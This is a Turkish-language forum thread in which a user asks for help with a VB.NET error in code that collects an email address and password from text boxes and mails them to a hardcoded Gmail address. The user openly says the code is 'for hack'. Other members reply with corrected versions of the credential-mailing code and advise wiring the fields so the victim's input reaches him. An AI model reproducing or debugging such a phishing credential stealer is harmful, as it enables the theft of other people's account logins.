Vb hata

myevrenmy · 26 Eyl 2013

Arkadaşlar çook acil yardım edin. Şu hatayı alıyorum. Yorumlarınızı Bekliyorum...
iNDİRMEK İÇİN TIKLAYIN ==> QFS.mobi - Download 890186
Virüs total:
Kullandığım kodlar ise şu : https://www.virustotal.com/tr/file/...edc88e60373736c9528b5a7c/analysis/1380208516/

If TextBox1.Text = "" Then
MsgBox("E-Posta Boş Bırakılamaz.")
If TextBox2.Text = "" Then
MsgBox("Şifre Alanı Boş Bırakılamaz.")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("[email protected]", "şifre")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("[email protected]")
mail.To.Add("şifre")
mail.Subject = "E-Posta : " & TextBox1.Text
mail.Body = "Sifre : " & TextBox2.Text & ","
smtpServer.Send(mail)

myevrenmy · 26 Eyl 2013

? Yardm edin ya n'olur

TurkishMafia · 26 Eyl 2013

Link İçin Virüs Total Koy

Link Vermek Yerine Resim Çekip Koyabilirsin .

sezgin1444 · 26 Eyl 2013

Hata iel ilgili ayrıntılı bilgi verirmisin e-postamı göndermek amacın?

Al sana kodları yazayım ben:

Kod:

İmports System.Net.Mail


Dim mail As New MailMessage

Mail.Subject="Konu"

Mail.To.Add("e-posta adresi")

Mail.From = New MailAddres("e-posta adresin")

Mail.Body("Mesaj")



Dim SMTP As New SmtpSclient("smtp.gmail.com"  'kullanılacak SMTP)


SMTP.EnableSsl=True

SMTP.Credintials=New System.Net.NetworkCredintial("e-posta","şifre")

SMTP.Port="587"

SMTP.Send(Mail)

Not:Yanlış yazdığım kod olabilir kodlama hatası yok ama yanlış harf fln yqazmış olabilirim oralarıda sen düzeltrisin.

myevrenmy · 26 Eyl 2013

Kardeşm hack için lazm bana ya

Ayrıca virüs total koydm

myevrenmy · 26 Eyl 2013

Sezgin kardş hack için lazm

sezgin1444 · 26 Eyl 2013

Tamam oradaki e-posta ve şifre bölümlerini textboxa bağla textboxa girş yapılınc asana gelsin.

myevrenmy · 26 Eyl 2013

olmadı yine aynı hta

myevrenmy · 26 Eyl 2013

Sezgin kardş bana facebook tan ulaşır mısın? Senle konuşmamız lazm .Çoook önemli

Facebook adresim: https://facebook.com/myevrenn

sezgin1444 · 26 Eyl 2013

myevrenmy' Alıntı:
Sezgin kardş bana facebook tan ulaşır mısın? Senle konuşmamız lazm .Çoook önemli

Facebook adresim: /YASAK

İletişim Adresi Vermek Yasak ÖM den attığın ıekledim.

myevrenmy · 26 Eyl 2013

Sorun devam edio yardm edecek kmse yok mu

RedHour · 26 Eyl 2013

Buyur.

1-Kod Fazlalıgı Yapmışın
2-İf Yapısını Yanlış Kullanmışın

Kod:

 Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()

If TextBox1.Text = "" Or TextBox2.Text = ""  Then
MsgBox("E-Posta Veya Şifre Alanı Boş Bırakılamaz.")
[COLOR="SeaGreen"]else [/COLOR]
smtpServer.Credentials = New Net.NetworkCredential("[email protected]", "şifre")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("[email protected]")
mail.To.Add("şifre")
mail.Subject = "E-Posta : " & TextBox1.Text
mail.Body = "Sifre : " & TextBox2.Text & ","
smtpServer.Send(mail)
End If

myevrenmy · 26 Eyl 2013

kardeşm bıktm aynı hatayı almaktan

olmadı

myevrenmy · 27 Eyl 2013

yardm etcek yok mu

Vb hata

myevrenmy

Üye

myevrenmy

Üye

TurkishMafia

Yeni üye

sezgin1444

Kıdemli Üye

myevrenmy

Üye

myevrenmy

Üye

sezgin1444

Kıdemli Üye

myevrenmy

Üye

myevrenmy

Üye

sezgin1444

Kıdemli Üye

myevrenmy

Üye

RedHour

Kıdemli Üye

myevrenmy

Üye

myevrenmy

Üye

Sosyal medya sayfalarımız